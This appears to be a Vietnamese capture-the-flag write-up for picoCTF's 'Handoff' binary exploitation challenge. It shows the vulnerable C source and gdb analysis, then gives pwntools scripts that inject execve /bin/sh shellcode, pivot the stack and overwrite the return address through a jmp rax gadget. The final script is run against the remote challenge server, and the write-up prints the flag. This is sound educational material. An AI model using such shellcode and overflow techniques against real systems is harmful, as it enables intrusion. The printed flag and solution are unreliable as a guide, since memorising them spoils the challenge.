pwn - Handoff
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}Mitigation

Solve
Ta sẽ đặt breakpoint tại scanf() (nhập choice cho menu) và trước khi leave, để sau đó chúng ta test thử 3 options xem các buffer name, msg, feedback nằm tại đâu trong stack.


from pwn import *
NAME_LEN = 32
MSG_LEN = 64
p = process('./handoff')
e = ELF('./handoff')
context.update(arch='amd64', os='linux')
context.terminal = ['qterminal', '-e']
gdb.attach(p, gdbscript='''
b *vuln+62
b *vuln+483
c
c
c
''')
p.sendlineafter(b'3. Exit the app\n', b'1')
p.sendlineafter(b"What's the new recipient's name: \n", b'A'*16)
p.sendlineafter(b'3. Exit the app\n', b'2')
p.sendlineafter(b'Which recipient would you like to send a message to?\n', b'0')
p.sendlineafter(b'What message would you like to send them?\n', b'B'*16)
p.sendlineafter(b'3. Exit the app\n', b'3')
p.sendlineafter(b'we would really appreciate it: ', b'C'*16)
p.interactive()Vậy name và msg của entries[0] lần lượt nằm tại vị trí rbp-0x2e0 và rbp-0x2d8.

Còn feedback nằm tại rbp-0xc.

Để ý rằng thanh ghi rax cũng đang trỏ đến feedback:

Trong toàn bộ các buffer ta có thể nhập vào, chỉ có feedback là gần return address nhất, và có khả năng overflow để ghi đè return address. Dựa vào checksec, stack cho phép thực thi code, vậy ta có thể nghĩ đến việc nhập shellcode vào stack. Và cũng may là không có stack canary, bởi ở đây ta không có cách nào để leak ra runtime address trên stack.
Ta bị giới hạn ghi vào feedback là NAME_LEN = 32 byte nên không thể overflow để ghi một shellcode hoàn chỉnh vào return address được.
Tổng hợp lại các điều trên, ta có hướng tấn công như sau:
- Ghi shellcode
/bin/bashvàonamecủaentries[0]. - Ghi shellcode vào
feedbackđể chuyển luồng thực thi đếnname. - Ghi đè return address để nhảy đến
feedback.
Đầu tiên là ghi shellcode /bin/bash vào name của entries[0]. Ta sẽ sử dụng shellcode sau:

Ta dừng tại vuln+483, thấy rằng shellcode đang nằm tại rbp-0x2e0:

Thực thi tiếp 1 bước, dừng trước ret, rsp và rbp bây giờ trở về stack frame trước. rsp bây giờ đang trỏ vào return address.

Tiếp đến bước 2, ta cần nhập shellcode vào feedback để nhảy đến name. Có thể thực hiện bằng cách trừ rsp đi 0x2f0. Không phải 0x2e0 bởi vì sau leave, rsp = rbp + 0x8, và sau ret, rsp += 0x8, nghĩa là khoảng cách rsp và name đúng phải là 0x2e0 + 0x10 = 0x2f0.
p.sendlineafter(b'3. Exit the app\n', b'1')
sh = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p.sendlineafter(b"What's the new recipient's name: \n", sh)
p.sendlineafter(b'3. Exit the app\n', b'3')
jmp_rsp = asm("sub rsp, 0x2e8; jmp rsp")
print(disasm(jmp_rsp))
p.sendlineafter(b'we would really appreciate it: ', jmp_rsp)
p.interactive()

Ta thấy rằng byte thứ 7 bị ghi thành 0 thay vì 0xff bởi dòng này trong mã nguồn:
feedback[7] = '\0';
Để khắc phục, ta chỉ cần chèn thêm 1 byte nop để byte 0 đó trùng với byte 0 trong shellcode.
jmp_rsp = asm("nop; sub rsp, 0x2e8; jmp rsp")

Bước thứ 3, ta cần ghi đè return address để nhảy đến feedback. Biết rằng rax trỏ thẳng đến feedback, ta có thể tận dụng ngay gadget jmp rax có trong binary này.

gdb.attach(p, gdbscript='''
b *vuln+62
b *vuln+483
c
c
''')
p.sendlineafter(b'3. Exit the app\n', b'1')
sh = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p.sendlineafter(b"What's the new recipient's name: \n", sh)
p.sendlineafter(b'3. Exit the app\n', b'3')
jmp_rsp = asm("nop; sub rsp, 0x2e8; jmp rsp")
jmp_rax_gadget = 0x000000000040116c
payload = jmp_rsp.ljust(20, b'A') + p64(jmp_rax_gadget)
p.sendlineafter(b'we would really appreciate it: ', payload)
p.interactive()Ta sẽ cần phải padding thêm 1 vài byte mới đến return address.

Bây giờ, sau ret sẽ thực thi jmp rax, lại tiếp tục nhảy đến feedback và sau đó chuyển đến name để mở shell.
Script
from pwn import *
p = remote('shape-facility.picoctf.net', 52938)
e = ELF('./handoff')
context.update(arch='amd64', os='linux')
sh = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
jmp_rsp = asm("nop; sub rsp, 0x2f0; jmp rsp")
jmp_rax_gadget = 0x000000000040116c
p.sendlineafter(b'3. Exit the app\n', b'1')
p.sendlineafter(b"What's the new recipient's name: \n", sh)
p.sendlineafter(b'3. Exit the app\n', b'3')
payload = jmp_rsp.ljust(20, b'A') + p64(jmp_rax_gadget)
p.sendlineafter(b'we would really appreciate it: ', payload)
p.interactive()┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py
[+] Opening connection to shape-facility.picoctf.net on port 52938: Done
[*] '/home/hungnt/Desktop/handoff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] Switching to interactive mode
$ ls
flag.txt
handoff
start.sh
$ cat flag.txt
picoCTF{p1v0ted_ftw_5b992d80}